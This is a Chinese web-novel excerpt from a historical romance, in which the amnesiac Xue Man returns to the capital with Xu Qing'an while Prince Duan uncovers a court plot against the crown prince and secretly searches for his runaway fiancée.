她飞也似地逃回院里,面红耳赤地拍着小胸脯,拍了会却若有?所?思:嗯,小胸脯真?的是小……胸脯,也不知?宝姝是吃了什么,能隆起那么挺拔的两座山峰? 她想得过?于?入神,直到撞上一堵“墙”才?痛呼着回神,捂着额头看?向面前的人。 “少爷?” 只看?了一眼,薛满便察觉到许清桉的不同?寻常。他是个极其矜傲之人,对外时眸中常浮着淡恹,疏离且不经?意,从不被任何事物触动心怀。但她不是外人,他会对她无可奈何,会忍俊不禁,也会怒形于?色地要罚她的银子…… 偏此刻他周身蕴着一股细碎的寒意,深邃的目光紧锁着她,有?探究,也有?难以捉摸的怒。 薛满伸手在他面前左右晃动,“你不认得我了?” “我是谁?” “少爷啊!” “少爷是谁?” “许清桉,是许清桉。”她怀疑他傻了,“你该不会是撞到脑子丢失记忆,忘记自己姓甚名谁了吧?” 许清桉没?回答,淡望着她清澈见底的眸,里头已不见悲痛,全是他熟悉的古灵精怪。 “你刚立了大功,还没?回京领赏便撞坏了脑子,那我们之前的努力岂非都白?费了?”她越想越觉得是这么回事,差点没?哭出声来:“好苦,我的命比黄连还苦啊!” “……”许清桉屈指给她脑门清脆的一声响。 薛满不痛反喜,这个动作很熟悉,看?来少爷有?得救!她正?想唤醒对方的更多记忆,却见他恢复平日里的神态,“酒醒了?” 她彻底放下心,没?失忆便好,“喝了碗醒酒汤,比刚起时要好些。你呢,你昨晚醉了吗?” “似醉非醉。” “你还记得昨晚发生的事情吗?” “记得。” “看?来只有?我醉得彻底。”薛满哼道?:“宝姝骗了我,她明明说琼秋酒不醉人,但我喝得不省人事,嘴巴还不知?在哪里磕破了。” 她红唇轻肿,一开一合,全然忘记昨晚在他怀中的耳鬓厮磨。 “你当真?什么都不记得?” “我该记得什么?”薛满试探地道?:“难道?我丢你的脸了?” 没?丢他的脸,倒是把他的心随意揉搓,至今仍酸不堪言。许清桉却无意继续追究,追究了又能如?何,放她去找她的三哥吗? “你想得美。” “?”他在跟谁说话? “走了,收拾行囊准备赶路。” “……”幻听?,刚才?肯定是她幻听?。 * 许清桉一行人整装待发,莫穆尔与父亲莫飞鹰领着村民亲自送他们到路口。 就在半刻钟前,莫飞鹰收到当地县衙送来的消息,称县令约他们明日午时在县衙一叙,关于?伐林之事或已迎来转机! 莫飞鹰对许清桉千恩万谢,更对儿子的慧眼识精感到欣慰,他相信不久的将来,望北寨会在莫穆尔的手里愈加壮大。 莫穆尔为他们准备了许多肉干粮食,简单的道?别后,马车缓缓驶离。薛满正?闭目揉着额角,忽然听?到外头传来莫宝姝的喊声,“阿满!” 她探头出去,见莫宝姝骑着爱宠牛牛冲刺到了跟前。 薛满震惊,“你的牛能跑那么快?” “不然呢?” “它们昨天可不这样?!”故意的是不是,足足堵了他们几个时辰。 “小事啦,咱们也算不堵不相识。”莫宝姝递出手上的包裹,笑道?:“我听?阿爹和阿兄说,你们帮寨子解决了一个大难题,喏,这是我为你们精心准备的谢礼,将来你们一定用得到。” 薛满接过?包袱,连忙解下耳上的白?玉坠,“那你得收下回礼。” 莫宝姝没?有?扭捏,将白?玉耳坠收进荷包,“等你到了京城,能给我写信吗?” “当然。”薛满道?:“如?果你到京城,也可以来找我玩。” “我要去哪里找你们?” “等你来京城时便知?道?了。” “你真?狡猾。”莫宝姝在她柔嫩的脸颊摸了一把,“但我很喜欢你,希望将来能有?再见的那天!” “一言为定。” 莫宝姝瞥向帘后的另一抹人影,轻哼一声,傲娇地骑牛走了。 薛满缩回车里,迫不及待地打开包裹,只看?了一眼便猛塞回去。 许清桉看?向她涨红的脸,“她送了什么?” 薛满摇头,将包袱死死抱在怀里,“什么都没?送。” 这副此地无银三百两的模样?,看?来是很了不得的东西。 许清桉道?:“我想看?一下。” 薛满断然拒绝:“你不可以看?。” “哦。”他漫不经?心地看?书,在她鬼鬼祟祟地打开包袱摸来摸去时,猛地伸展长?臂,将包袱里的东西勾到面前。 ……他勾到了一件短小、清凉、精致的水红色刺绣抹胸。 “啊!”薛满尖叫:“许清桉,你抢我的东西!” 许清桉的指尖一抖,力求镇定,“莫宝姝说了,这是她为我们精心准备的礼物。”所?以他有?权利看?。 薛满恼羞成怒,干脆将剩余的长?裙砸到他身上,“那你穿,现在便穿!” “……” “这分明是宝姝送给我一个人的,那样?说是客气好吗!” 许清桉将衣服叠好塞回包袱,冷静地想:不是莫宝姝在客气,而是某人会错了意。 将来你们一定用得到。 啧,抹胸、长?裙,异族衣裳而已。 许清桉镇定自若地捧起书,颗颗文字开始漂浮排列,井然有?序地组成一名娇俏少女。她面庞白?皙,脖颈纤细,衣着清凉,媚不自知?…… 昨晚纠缠的记忆回潮,许清桉腹部一紧,鼻间滚落两行热流。 ……这该死的异族衣裳。 第56章 第 56 章 薛满的脾气来得快, 去得也快,横竖许清桉不会真跟她抢抹胸裙子?。 说到抹胸裙子?…… 她私下拿抹胸在身?上比画过,十分怀疑这玩意儿能否穿得住, 毕竟宝姝是“胸前有丘壑”,而她则是小峰微岭, 没有多少看头。 无碍,大不了将它们收起来, 压在箱底留作纪念。 又因秋高气爽, 天干物燥,打许清桉流过第?一次鼻血后,薛满找到机会便煮绿豆汤,逼着他日饮两碗。 什么?豆子?没熟?清汤寡水?味道?发苦? 薛满回?道?:少爷, 赶路呢, 有的喝就不错了,难道?你还想流鼻血吗? 许清桉:……有苦难言, 无话可说。 一行人紧赶慢赶,半个月后终于抵达京城。城门?口有一列士兵守卫,对来往的车马进行检视, 路成舟正拿着京畿营的令牌与他们交涉, 忽见三名男子?骑马掠进城门?,为首者气度高贵,风雅俊逸, 正是端王裴长旭。 端王殿下高坐马背,目不斜视, 恰与许清桉的马车擦肩而过。 见状, 路成舟返回?马车旁,对车里道?:“许大人, 卑职看到端王殿下进城了,要前去打个招呼吗?” 许清桉的声音平静无波,“我与端王殿下并不熟悉。” 路成舟便不再多话,倒是车内的薛满定住动作,喉中像哽住一团乌云,吐不出更咽不下。 端王殿下…… 她下意识地?轻捶胸口,希望能捶出那突如其来的滞涩郁结。 许清桉误以为她是忌惮侯府,倾身?拦住她的手,“无须害怕,一切有我。” 薛满晃了神,耳畔响起另一道?声音:别怕,无论去哪,总有我陪着你。 ……那是谁?为何要陪她?她已经有了少爷,再不需要别人的陪伴。 她轻咬舌尖,用疼痛逼回?理智,笑吟吟地?道?:“少爷,我们齐心协力,一起打败欺侮你的妖魔鬼怪。” 主仆一心,其利断金,这世上没有她与少爷办不到的事情! * 与路成舟等人分别后,俊生驾车回?到久违的恒安侯府门?前,他率先下地?,恭敬候立一旁。 侯府门?房见到他后精神一抖,躬着身?上前,“可是世子?回?来了?” 俊生点头,“正是。” 门?房忙对着马车行礼,也不管对方看不看得到,“小的恭迎世子?回?府。” 须臾后,许清桉下了马车,门?房将身?子?躬得更低,低的只能看到对方的皂靴袍角。他听到世子?对车里喊:“阿满,下来吧。” 阿满是谁? 门?房实在好奇,悄悄抬头看了一眼,只见世子?纡尊降贵,亲扶着一名少女下地?。 门?房心中掀起滔天巨浪,世子?竟带了一名女子?回?来?世子?真带了一名女子?回?来! 与此同时,薛满站在恒安侯府前,从容自若地?打量起来。 朱门?高大,匾额鎏金,栩栩如生的石兽镇守左右两侧。门?前有阶梯,檐下挂灯笼,环臂粗的楹柱上龙飞凤舞地?绘联:望远山以养志,瞻宏图而勉行。 不愧是引领北军几十载,战无不胜的传奇人物,府邸的门?面够恢宏气派。 但也只是恢宏气派罢了,她内心没有波澜,随口道?:“若在额枋上再描些金漆彩绘便更好看了。” ……在大周朝,额枋描金是皇亲国戚们特有的形制。 许清桉不动声色地?追问:“哦?你在哪里见过的额枋描金?大概是什么样?式?” “这我哪记得住。”薛满道?:“改天你去问问建房工匠便是。” 许清桉“嗯”了一声,带着她从正门?进入侯府。府内层台累榭,丹楹刻桷,钉头磷磷。另有园林假山,浑然天成,水木清华。 沿路上的奴仆们无数,见到他们都?毕恭毕敬地?行礼。 薛满只道?是许清桉立功的消息已传回?京城,众人不敢再对他造次。 她跟着许清桉到了瑞清院,这是间二?进门?的院子?,从第?一道?拱门?进去是干净舒适的前院,石径卧池,池中游鱼,即便主人离开许久,草木仍整齐秀逸。再往里走,可见廊腰缦回?,方砖斜墁,阔净素雅,屋厅明?亮有序。 咦? 薛满歪着头想,这跟她设想的“破落”“受尽欺压”“生活艰苦”甚有出入。 许清桉一眼便看出她的困惑,无非是眼睛对不上脑子?里的那笔糊涂账,“自从我进入都?察院当差,府中的生活便有了显著改善。” 薛满恍然大悟,“是这样?的没错。”随后便将糊涂账抛之脑后,一切皆以眼前为准。 许清桉将她安排在西厢房,紧贴他的主卧房,有任何动静都?能听到。 在回?京前,他已命人收拾好房间,等薛满回来便能直接休憩。屋内窗明?几净,陈设精致,馨香淡淡,更准备了许多女子喜欢的小玩意。 薛满顾不上多看,也不等用饭便关门休憩,在路上颠了半个多月,她浑身?骨头酸痛,最?期待的莫过于睡个好觉。 待她歇下后,许清桉来到书?房,在窗沿轻叩三下。不消片刻,两道?黑影跃落地?面,朝他利落抱拳。 “蜚零/空青见过世子?!” “进来说话。” 两人进了书?房,见许清桉端坐在案后,风姿更甚从前。 “祖父何在?” “回?世子?,老?侯爷今日带着七表公子?去虞山林打猎,不知几时才回?来。”圆头圆脑的青年是空青,他斟酌着道?:“属下回?京前给?老?侯爷递过消息,他应当知道?您今日能到京城。” 言下之意:老?侯爷是故意为之。 “嗯。”许清桉问:“通知下去,从今往后,你们无需再向他汇报。” 空青和?蜚零眼中闪过讶色,他们一行六人与世子?年龄相?仿,是老?侯爷精心挑选的护卫,在世子?十岁时便随护他左右。当然了,与其说是随护,实际是帮老?侯爷监控世子?的一言一行。只是世子?聪颖沉静,谋略过人,一早便将他们全部收入麾下。但面对老?侯爷时,他们依旧俯首帖耳,竭力配合世子?韬光养晦。 如今世子?是打算跟老?侯爷摊牌了? 两人露出笑容,仿佛已见到光明?可期的将来,“属下谨遵世子?命令!” “等阿满起来,你们所有人一齐去见她,往后由苏合、卷柏负责她的安危。” 空青和?蜚零面面相?觑,他们奉老?侯爷之命在七夕前赶到衡州“保护”世子?,自然清楚世子?与那位阿满姑娘的关系非常,如今世子?叫他们过明?路,还要分出两位去保护那位……其中含义昭然若揭。 于是乎,薛满睡醒后便发现?门?前多出五男一女,个个精神抖擞,恭敬有加。 “蜚零/空青/苏合/卷柏/细新/木丹见过阿满姑娘!” 薛满问:“你们是谁?” 俊生贴心解释:“阿满姐姐,您又忘了,他们是世子?的护卫啊。” “原来如此。”薛满不疑有他,“诸位好,我又回?来了。” 众人事先了解过她的情况,配合地?道?:“阿满姑娘,好久不见。” 其中一名黑衣女子?和?青年站上前,“属下苏合/卷柏,往后任凭姑娘调遣。” 薛满端详几眼,记住他们的脸,“嗯。” ……就一个淡淡的嗯,没别的了? 俊生觉得奇怪,“阿满姐姐,您当初见到我时可没这么淡定。”当时恨不得把?屋顶都?掀了! “笨!”薛满理所当然地?道?:“护卫是护卫,婢女是婢女,护卫还能抢我婢女的活?” 众人:……说得很有道?理。 薛满看了眼黢黑的天,院里的灯笼已全部亮起,“几时了?” “回?姐姐,刚过戌时。”俊生道?。 “少爷人呢?” “在书?房呢。” “他用膳了没?” “还没,您饿了吗?小厨房已备了菜,随时都?能端上来。” “行,那我去喊少爷一起用膳。” 不多时,许清桉同她走出书?房,两人并肩走着,薛满道?:“少爷,我看前院池子?里只养着几条鱼,明?日我们去市集再买些其他的吧。” “你想买什么?” “长寿龟怎么样??人死了它还没死,一只能送走三代人的那种。” “……”没听过谁家妙龄少女乐意养长寿龟,“你的喜好真是与众不同。” “宝姝还养牛呢,你看她把?牛养得多通人性,能听她指令去撞凌峰。”可惜没撞到。 “你也想养龟去咬人?” “是不是个好主意?往后谁敢来我们院子?里犯浑,我便让龟龟们上去咬他们,听说乌龟咬人特别疼,不打雷不轻易松口。” “那是鳖。” “哦,那我们改养鳖。” …… 隐回?暗处的护卫们沉默许久,不知谁率先出声,“方才那真是世子?吗?” “毋庸置疑。” “世子?从前对其他女子?……” “半句话都?懒得接。” “这位阿满姑娘……” 众人不约而同地?道?:“千万不能得罪!” * 深夜,许清桉在书?房听空青汇报。 “世子?离开后,除去大姑太太,其余的三位姑太太常带表公子?们来府中探望老?侯爷。一个半月前,老?侯爷夸赞七表公子?根骨奇佳,特许他住在侯府,并且每日亲自指点他习武,下个月要举荐他进入尚武司任职。” “祖父好眼光。”许清桉道?:“七表弟今年十之有七,确实是习武的最?佳年龄。” 这话反讽意味十足,空青忍不住笑了,“世子?说得极是。”老?侯爷轮番拿表公子?们刺激世子?,世子?从不接招,偏老?侯爷乐此不疲。 他继续汇报:“继七公主私下向圣上、皇后拒绝与您的婚事后,老?侯爷便又为您相?看了几位小姐,最?终跟荣国公相?谈甚欢。” 荣国公是百年勋贵,虽手中已无实权,但也绝看不上一个来路不明?的私生子?做孙婿。 许清桉品了口茶,“祖父许了他什么好处?” “世子?料事如神。”空青道?:“荣国公的孙子?正在北疆军队,服役如定将军麾下。” 相?比荣国公府的门?生凋零,恒安侯桃李满天下,在军中威势依旧,如定将军便是他带出来的将领之一。 以孙女的婚事来换取荣国公府的一线生机,的确是笔好买卖。 许清桉心淡如水,“我离开的这段时间,朝中发生了哪些大事?” “有一件事。”空青道?:“五个多月前,太子?忽然被皇上禁足东宫,至今仍未解除。” 许清桉挑眉,正眼看他,“缘由?” “有传言称是广阑王触动圣怒,太子?为其说情,反被圣上狠狠责罚。” 广阑王远在兰塬,会因何事触动圣怒?太子?虽为广阑王亲侄,但身?为储君,怎会不知避嫌的道?理?从去年起太子?便开始协理朝政,他该说了何等浑话,才能被禁足东宫? 许清桉沉吟道?:“其他皇子?有何动静?” “太子?被禁足的几天后,太后母族张家便在民间暗中散布言论,称太子?平庸无能,难堪大任。反观九皇子?康王巧捷万端,下笔成文,乃储君之才。” 一群迫不及待的蠢货。 许清桉道?:“其余皇子?们什么反应?” “成、安两位王爷也加入造势,开设文会书?局,想在学子?间博取声名。昭王与俞太妃则忙着到处结亲,收了两位侧妃,马上还要定长威将军的次女做正妃。” “端王没有下场?” “没有下场。” 许清桉摩挲着杯沿,生母低微的皇子?们按兵不动是情有可原,但端王贵为皇后之子?,竟没有参与混战? “许是因为他的婚事出了意外,他暂时顾不上。”空青解释:“端王本该在四个月前成婚,但未婚妻突然重病,婚期被迫推迟,端王殿下每日忙完公务便回?去陪未婚妻,连酒局都?从不参加。” “如此说来,端王竟是个痴情子??” “外头都?这么传,端王与未婚妻是青梅竹马,情比金坚,即便未婚妻病重也深情守候,不离不弃。” 这算不算另类的下场造势? 许清桉问:“他未婚妻是哪家小姐?” “是他的亲表妹,薛皇后弟弟的独女。” 许清桉想了想,“薛丞相?的儿子?,那位前途无量却英年早逝的京卫指挥使之女?” “对,是她。”空青道?:“薛丞相?辞官归乡后,薛家在朝中便并无重臣任职,这位薛小姐又父母早逝,实非端王妃的最?佳人选。她重病的消息一出,许多人重新盯上端王妃之位,但不管他人怎么明?示暗示,端王殿下仍坚持此门?亲事,不收侧妃不纳美人,想来对她珍爱至极。” 许清桉对端王的爱恨情仇不感兴趣,但莫名联想到了阿满的亲事。听她醉酒后所言,她的未婚夫是个见异思迁的薄情汉,她发现?对方与他人的奸情后选择逃婚,继而在晏州与他相?遇。 ……逃婚。 他问:“近一年内,京中可发生过女子?逃婚的事件?” “还真有一件。”空青努力回?忆,“大概半年前,兵部裘尚书?家的三小姐为躲避与光禄寺卿家的周二?公子?成婚,直接扔下逃婚书?跑了。周家知晓后当场退婚,两家人都?丢尽脸面,自此反目成仇。” “裘小姐找回?来了吗?” “没听到逃婚下文,应当是没有。” 许清桉轻敛长睫,眸光定在碧绿的茶水中,“叫蜚零去查查裘三小姐的闺名和?小名,再画出小像,明?日便交给?我。” 空青领命告退,许清桉提笔,在纸上徐徐画了一只龟。 嗯,比起养鳖咬人,还是养龟的寓意更好。 第57章 第 57 章 翌日, 早朝刚结束不久,裴长旭便现身御书房,对龙案后的景帝娓娓道?来?:“据儿臣调查, 迟卫入京拜访史大?人?后,还暗中见过一位军中旧友, 此人?姓杨名万里,如今正在提刑按察使司任副使一职。” “杨万里与迟卫都曾是?广阑王的亲兵, 两人?情同手足又多年未见, 在杨府足足叙了一夜的旧,期间饮酒十坛,召两名婢女?陪侍。” “迟卫此番抱着必死的决心进京,言语间难免透露悲戚, 杨万里察觉到异常后再三追问, 得知了他进京的真实目的。他面上不显,转身却将?此事?告知妻子, 巧的是?他妻子身份特殊,正是?张贵妃的娘家庶妹。” “杨张氏沉寂一夜后,命贴身婢女?传信给其父张远直, 张远直随即命张夫人?进宫拜见太后, 在慈宁宫待了两个时辰。当天夜里,张、杨两家都有马车去往东郊一处别院,据两家的马夫所言, 外?出的正是?张远直与杨万里。” “张、杨密会后的隔日清晨,迟卫便被发现死于卧房, 而太子当时恰好经过附近。儿臣问过太子, 那日一早他收到了关?于户部侍郎贪墨的线索,似是?有人?特意将?他引到了迟卫的住所附近。” “太子被卷入迟卫遇难一案后, 张家马不停蹄地?命人?在民间放出流言,试图对太子落井下?石,同时又对康王赞誉有加。儿臣还调查到杨、张两家秘密处理了一批婢女?与护卫,其中有三人?侥幸逃脱。” 沉默了许久的景帝终于开?口:“抓回来?了吗?” “儿臣不辱使命。”裴长旭走到案前,递出一本?笔供薄,恭敬道?:“昨日已将?涉案从犯全部捉拿归案,还望父皇审阅供词。” 景帝接过簿册浏览,参与谋害之人?,参与流言之人?,亲证张、杨外?出会面之人?……厚厚一本?笔供簿,白?纸黑字、清清楚楚描述了杨、张两家的缜密谋划。先利用迟卫之死嫁祸给太子,再趁机为九皇子造势,最后放出广阑王通敌卖国的证据,给太子奉上致命一击…… 他捏紧簿册,眼中蕴着浓厚的讽意,“好一个忠言奇谋的张家,竟想将?朕与太子玩弄于股掌。” “还有一事?。”裴长旭道?:“那日父皇半夜急召儿臣入宫,儿臣与太子离去时,曾见到一名眼熟的内侍匆匆离去,儿臣调查后发现,那人?是?慈宁宫的四品内侍。” 景帝在案面落下?重重一掌,“太后这是?不满意只在后宫翻云覆雨,还想图谋朕的前朝国事?了!” 自古皇家忌讳外?戚之祸,太后乃景帝生母,张贵妃乃太后侄女?。若连这太子之位也给了九皇子,大?周朝何?不直接改姓给张家! 景帝徐徐转动扳指,声沉如钟,“太子何?在?” “皇兄听?从父皇之令,一直待在东宫,教导茹楠,陪伴茹嘉,半步都不曾外?出。”裴长旭直起身子,笑道?:“小茹嘉刚满两个月,五官像极了皇兄,仔细看?还有几分父皇的影子。” “果真?” “果真。” “可惜又是?个女?娃。” “父皇正值壮年,何?必急着抱孙子。” 景帝似怒非怒地?斥道?:“朕今年四十有三,连个太孙都没抱上,说出去都叫文武百官笑话。” “那儿臣传话给皇兄,请他再努努力,争取明年让您抱上太孙。” “你只说太子,怎么不说你自己?”景帝润了口茶,“阿满的病情可有好转?” 裴长旭面色如常,“比前段时间好转许多,儿臣半个月前还带她出去转了转。” “朕听?人?说了,你乞巧节一掷千金,包下?近水楼带阿满看?烟火。”景帝将?笔供薄拨到旁边,随手取了本?奏折看?,“婚事?照旧?” “照旧。” “那便让钦天监重新择期,礼部继续准备起来?。” “儿臣知晓了。”裴长旭神色自若,“父皇,等万寿节结束,儿臣想带阿满出去散散心。” “准备去哪?” “南边景色好。”他道?:“阿满病了许久,出去散心有助于身心恢复。” “等钦天监定了日子再说。” 裴长旭稳住心神,父皇没有直接拒绝便有机会,无非跟钦天监通个气的事?情。熬过半年的忙碌与焦心,他终于能卸下?重担,无所顾忌地?去寻找阿满。 上个月初,他找到一条被遗漏的线索,阿满失踪那日,荣帆码头曾出现一名可疑的丑颜少女?。她本?想去往杭州,后来?却买了去晏州的票,可抵达晏州后少女?便失去踪迹。杜洋使人?在城中打探,连专门送客的马车夫都问了一圈,仍找不到少女?的身影。 是?凭空消失还是出了意外?裴长旭不敢细思,更坚定亲自去寻回阿满的想法。 景帝没注意到他的出神,“来?替朕研墨。” 裴长旭依言照做,听?得景帝淡道?:“身为皇子,一切当以皇嗣为先。” 裴长旭道?:“儿臣谨听?父皇教诲。” 景帝在奏折上落字,没有避着裴长旭,“张家之事?,你认为该如何?处置?” 张家的定义太不清晰,是?单纯指张远直为首的张府,抑或囊括后宫的张太后与张贵妃,乃至康王? 终究血脉相连…… 裴长旭心思百转,道?:“儿臣以为,皇祖母久居宫中,对前朝之事不甚清晰。倒是张远直多年连任光禄寺卿一职,见惯宫中奢丽,难免生出妄图之心。” “这么说来?,太后是?被张远直一时迷惑,才会犯下?错行。” “皇祖母待父皇,便如父皇待太子、儿臣与诸位兄弟。”裴长旭道?:“这世上没有比父母子女?更亲近的血缘关?系。” 景帝一时联想诸多,神色复杂地?道?:“也罢,朕会让太后去国寺静养半年,张贵妃也同去,还有小九……这段时间请人?教他好好学习《史记》,务必叫他知道?什么叫兄友弟恭,内平外?成!” 裴长旭道?:“那皇兄禁足一事?……” “朕会命人?去趟东宫。” 裴长旭为太子松了口气,“皇兄定是?喜出望外?。” 景帝忽问:“长旭,你可有找到广阑王通敌叛国的证据?” 裴长旭摇头,“儿臣审问过那几名动手的人?,他们称半夜潜入迟卫的住处,在睡梦中将?迟卫杀害,随后将?住所翻遍也没找到广阑王的罪证。” ……如此,太子虽与迟卫之死无关?,但广阑王之事?依旧悬而未明。 景帝面无表情,停笔沉思。 裴长旭道?:“俞大?人?到兰塬后有发现异样吗?” 景帝道?:“余晓东称,兰塬物阜民丰,夜不闭户,广阑王受人?人?爱戴。” “……”很有意思,与迟卫所言截然相反,“有人?在撒谎。” “迟卫既死,所言十有八九是?真。余晓东是?朕亲自指派去的御史,若他所言有虚,要么是?他吃了熊心豹子胆想被灭九族,要么是?闵钊手段通天,将?他也蒙骗其中。” 万一是?后者…… 御书房一片沉寂,外?头有内侍传道?:“圣上,许大?人?到了。” 景帝回神,今日是?他喊的许清桉来?宫中述职。他撂了笔,从腰间解下?一块令牌,眉眼肃冷,“长旭,朕命你即刻率领锦衣卫查抄张、杨二府,逮捕罪臣张远直及杨万里。一切皆按律法照办,绝不许徇私包庇!” 裴长旭朗声道?:“儿臣领旨!” 离开?御书房后,裴长旭一眼见到不远处的青年。他身着七品青色官袍安静伫立,在象征大?周朝顶级权谋的富丽宫殿中,本?该如尘埃般不值得一提。然而他长身而立,列松如翠,气度独绝到令人?无法忽视。 恒安侯世子,监察御史许清桉。 对方朝他作揖,“下?官见过端王殿下?。” 裴长旭颔首,“许大?人?,别来?无恙。” 内侍出来?宣许清桉进殿,两人?一个往外?,一个往里,恰好擦肩而过。两名容资出众,不相伯仲的俊美青年 依譁 ,均朝对方显露出浅淡的笑意。 不提往后的针锋相对,此刻的他们倒挺欣赏对方。 * 皇宫西面,凤仪宫内,裴唯宁正跟着吴嬷嬷在学刺绣,薛皇后在榻上捋着金线,为百寿祈福图做最后收边。 月末便是?景帝生辰,薛皇后亲自缝了一幅百寿祈福图作礼,全程不假他人?之手。反观裴唯宁,原先也打算绣一幅松鹤延年画,然而她心思跳脱,做不惯静心的活,被薛皇后压着苦练绣工。 裴唯宁忍不住想,要是?阿满还在就好了。她们姐妹的绣工同样烂,一起挨母后的训,一起跟着吴嬷嬷练针,时不时逗两句嘴……有阿满作陪,再无聊的事?情也会变得有趣。 思及此,裴唯宁的眼神瞬间黯然。若非她帮着三哥蒙蔽阿满,阿满便不会一声不吭地?逃婚。她是?阿满的好姐妹,本?该跟阿满同仇敌忾,帮她排忧解难。骂三哥,骂江家,甚至大?逆不道?地?帮她逃离京城…… 可阿满没跟她透露半个字,想必对她失望透顶。 她好后悔啊! 裴唯宁吸了吸发酸的鼻子,走到薛皇后的身边靠着,“母后,我想阿满了。” 薛皇后停下?手中动作,心中叹气,难道?她不想? 裴唯宁软软依偎着她,“母后,等万寿节过去,我想带人?出去一趟,亲自去找找阿满……” 薛皇后道?:“你们兄妹倒是?一心。” 裴唯宁了然,定是?三哥也提过这茬。她哼了一声,阴阳怪气地?道?:“三哥是?大?忙人?,又要忙公?务又要忙着照顾江家妹妹,找阿满的事?情便不劳烦他了。” 薛皇后不赞同地?瞥她,“小宁。” “我说错了吗?”裴唯宁不服气,“不说江家那对狐媚子姐妹,三哥才是?罪魁祸首!阿满哪里对不起他,呜呜呜,也怪我,我为何?要帮三哥助纣为虐……” 她说着说着便哭了起来?,肩膀一耸一耸,好不自责愧疚。 薛皇后示意吴嬷嬷收走东西,将?裴唯宁搂在怀里,“好了,本?宫知晓你心里难受。” 裴唯宁哭得满脸泪水,“母后,我讨厌三哥,也讨厌我自己。阿满那样乖,我和三哥却联手欺负她,逼得她远走他乡,下?落不明。要是?她出事?……她出了事?,我也不想活了!” “说什么浑话!”薛皇后用帕子轻拭去她的泪水,虽是?斥责,却带着母性温柔,“阿满只是?误会了一些事?,等她回来?,你们说开?了便好。” “阿满会回来?吗?她真会原谅我吗?” “会。”薛皇后笃定道?:“本?宫请了护国寺的无相大?师每日为阿满祈福,她定会平安无事?地?归来?。” 无相大?师吗?他是?成功出使西域,名满天下?的得道?高僧,想来?有真本?事?在身。 裴唯宁好受了些,“但我还是?想出去寻阿满。” “等万寿节过了再说。” 裴唯宁点点头,恹声道?:“母后,要么您跟父皇说,解了三哥与阿满的婚约吧。” 她以为皇家婚约是?儿戏? 薛皇后问:“解除婚约后呢?阿满的余生该怎么办?” “可以让阿满跟我一道?去封地?,我们俩都不嫁人?,下?半生相依为命……”后面的话她只敢在心里说:在府里养形形色色的美男子,看?厌了便换,身边永远都有新鲜的男色。 薛皇后冷下?声,“你真当本?宫不知道?你背后干的那些事??” 裴唯宁僵住身子,眼神忐忑。 薛皇后道?:“你贵为公?主,自小得你父皇宠爱,赐你好几处丰饶的封地?,确实有恣意人?生的本?钱。你不想成婚,看?不上凡夫俗子,我们也便睁一只眼闭一只眼随你挑选。但,你给本?宫听?好了,阿满与你不同,只有将?她放在本?宫眼皮子底下?,本?宫才能安心。” “可三哥……” “你三哥已知错了。”薛皇后问:“你看?不出来?吗?” 裴唯宁闭紧嘴,她当然看?出来?了,三哥这几个月愈加阴沉,再没去过南溪别院,听?说真为那江家妹妹定了亲事?,下?个月便要嫁出去。 她闷闷不乐地?想:为何?不是?在阿满走之前这么做呢?非要等到阿满走了才悔不当初……话说回来?,阿满善解人?意,又从小喜欢三哥,肯定会原谅三哥的小小失误。到时候一切归位,她与阿满依旧是?形影不离的好姐妹。 “得亏阿满性子好。”她撇着嘴道?:“换成我是?阿满,绝不会轻易原谅三哥。” “你少拿阿满找你三哥晦气。”薛皇后道?:“小心他翻脸不认人?。” 裴唯宁不由发怵,这几个月她私下?找三哥闹过好几次,起初三哥还愿意应付,到后来?便直接拒绝见面,甚至警告她再敢闹便请父皇替她订门亲事?。 她相信以三哥的手段心机,绝对说得出做得到! “哦。”裴唯宁看?似偃旗息鼓,实则不以为然:等阿满回来?,她非得给小哥制造个一波三折不可! 用过午膳,裴唯宁靠在榻上犯困,薛皇后捧着消食茶,时不时往门口看?几眼。 待见到心腹宫女?出现在门边,薛皇后开?口:“小宁。” 裴唯宁勉强睁眼,“母后?” “你送本?宫的那只八哥飞走了,你去东市替本?宫重新选一只。” “好啊,我明日去替您选,选只更聪明伶俐的。” “何?须等到明日,即刻便去。” 吴嬷嬷利落地?替她整理好仪容,扶着她出了凤仪宫。裴唯宁一脸迷糊,会说话的八哥鸟而已……母后那么急着要吗? 偌大?皇宫,公?主自有专属的步辇代步,吴嬷嬷却称今日两辆步辇同时坏了,得劳烦她步行出去。 裴唯宁边走边纳闷,不知母后的葫芦里卖的什么药,直至走到太清门,她与一抹颀长身影迎面撞上,而向来?遵守礼教的吴嬷嬷没有任何?斥责对方的意思。 呵。 裴唯宁傲慢地?看?向对方,只一眼,眸光便渐渐凝固。这是?何?等出色的一张脸,剑眉入青鬓,长眸氲风流,气度却清泠,好比光风霁月。 她肆无忌惮地?盯着对方瞧,对方敛眸作揖,淡声道?:“下?官见过公?主殿下?。” 裴唯宁回神,既然他知道?自己是?谁,定是?跟母后串通好了行事?。 可惜这副好相貌! 裴唯宁扭头便走,懒得给对方半个眼神,临上马车前,她踩着小凳,状似无意地?问:“那人?是?谁?” 吴嬷嬷笑道?:“回公?主,那位大?人?是?恒安侯世子许清桉。” 第58章 第 58 章 裴唯宁很快便找到关?于许清桉的?记忆, 眼见他跟着走出宫门?,目不斜视地往旁边避让,她忽地升高音量, “他便是老恒安侯那位来?路不明的?孙子?” 吴嬷嬷赶紧道:“许大人是经?过?恒安侯请封,正正经?经?的?世子爷。” “本?宫更是正正经?经?的?公主殿下。”裴唯宁清亮地道:“不是阿猫阿狗随便肖想的?对象。” “……”吴嬷嬷知晓七公主在故意耍性子, 但她一个?嬷嬷能怎么办,“公主, 娘娘还等着您去买八哥。” 裴唯宁广袖一甩, “赶紧将本?公主的?步辇修好,省得以后谁都能跟本?公主搭话。” 公主的?座驾威风离开,吴嬷嬷硬着头皮对不远处的?青年道:“公主年幼,还望许大人别?往心里去。” 许清桉朝吴嬷嬷颔首, 走向?自己的?马车, 对空青道:“回府。” …… 裴唯宁靠在车内的?软榻上,手里捧着话本?子, 没看几眼便丢到矮几上。 真是的?,她一早便声明对许清桉不感兴趣,母后却非要设计一出偶遇的?戏码。难道以为他生?得好, 她便会?丢弃原则, 见色起意? 她裴唯宁才不是浅薄之人! 虽然他确实生?得极好……但大周朝颜色好、身世也佳的?男儿比比皆是,七公主驸马的?位置,轮也轮不到许清桉坐。 裴唯宁拣了颗果脯进嘴, 酸酸甜甜,正合她的?口味。 没记错的?话, 许清桉是个?七品的?监察御史, 这样小的?官,连上早朝时都得站在最后头, 难怪想攀高枝走捷径……不过?他今日因何进宫,总不能是去拜见母后? “殿下。”骑马跟在车旁的?林何举道:“一刻钟了,许世子还跟在我们后头。” 他好大的?胆子! 